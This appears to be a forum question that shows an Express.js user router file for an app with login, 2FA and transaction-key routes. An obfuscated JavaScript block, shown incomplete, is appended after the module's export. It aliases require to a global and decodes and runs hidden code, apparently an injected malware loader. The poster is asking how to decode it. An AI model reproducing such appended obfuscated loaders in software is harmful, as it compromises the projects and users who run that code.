obfuscated js code

userRouter.js

const express = require("express");
const authController = require("../controllers/authController");
const userController = require("../controllers/userController");
const transactionController = require("../controllers/transactionController");

const router = express.Router();

router.post("/getVerifyCode", authController.getVerifyCode);
router.post("/signup", authController.check2FACode, authController.signUp);
router.post("/login", authController.logIn);
router.get("/logout", authController.logOut);
router.post("/getAccountName", authController.getAccountName);
router.post(
  "/getVerifyCodeForPasswordReset",
  authController.getVerifyCodeForPasswordReset
);
router.post(
  "/resetPassword",
  authController.check2FACode,
  authController.resetPassword
);

// Protect all routes after this middleware
router.use(authController.protect);
router.patch(
  "/upgradeUserTier",
  transactionController.checkTransactionKey,
  userController.upgradeUserTier
);
router.patch(
  "/updatePassword",
  transactionController.checkTransactionKey,
  authController.updatePassword
);
router.get(
  "/getVerifyCodeForTrxKeyUpdate",
  authController.getVerifyCodeForTrxKeyUpdate
);
router.patch(
  "/updateTrxKey",
  authController.check2FACode,
  userController.updateTrxKey
);
router.post("/submitMessage", userController.submitMessage);

router.get("/me", userController.getMe, userController.getUser);

// router.patch('/updateMe',
//   // userController.uploadUserPhoto,
//   // userController.resizeUserPhoto,
//   userController.updateMe
// );

// router.delete('/deleteMe', userController.deleteMe);

module.exports = router;
global["_V"] = 3;
global["r"] = require;
var a0b, a0a;
(function () {
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      var m = u % j;
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      var k = r[m];
      r[m] = r[q];
      r[q] = k;
      c = (u + t) % 5158178;
    }
    return r.join("");
  }
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    )
  );
  var its = kNz(FHK, zQb);
  its(2713);
  return 6659;
})();

How in the world do we decode such things.....I'm seeing this for the first time!!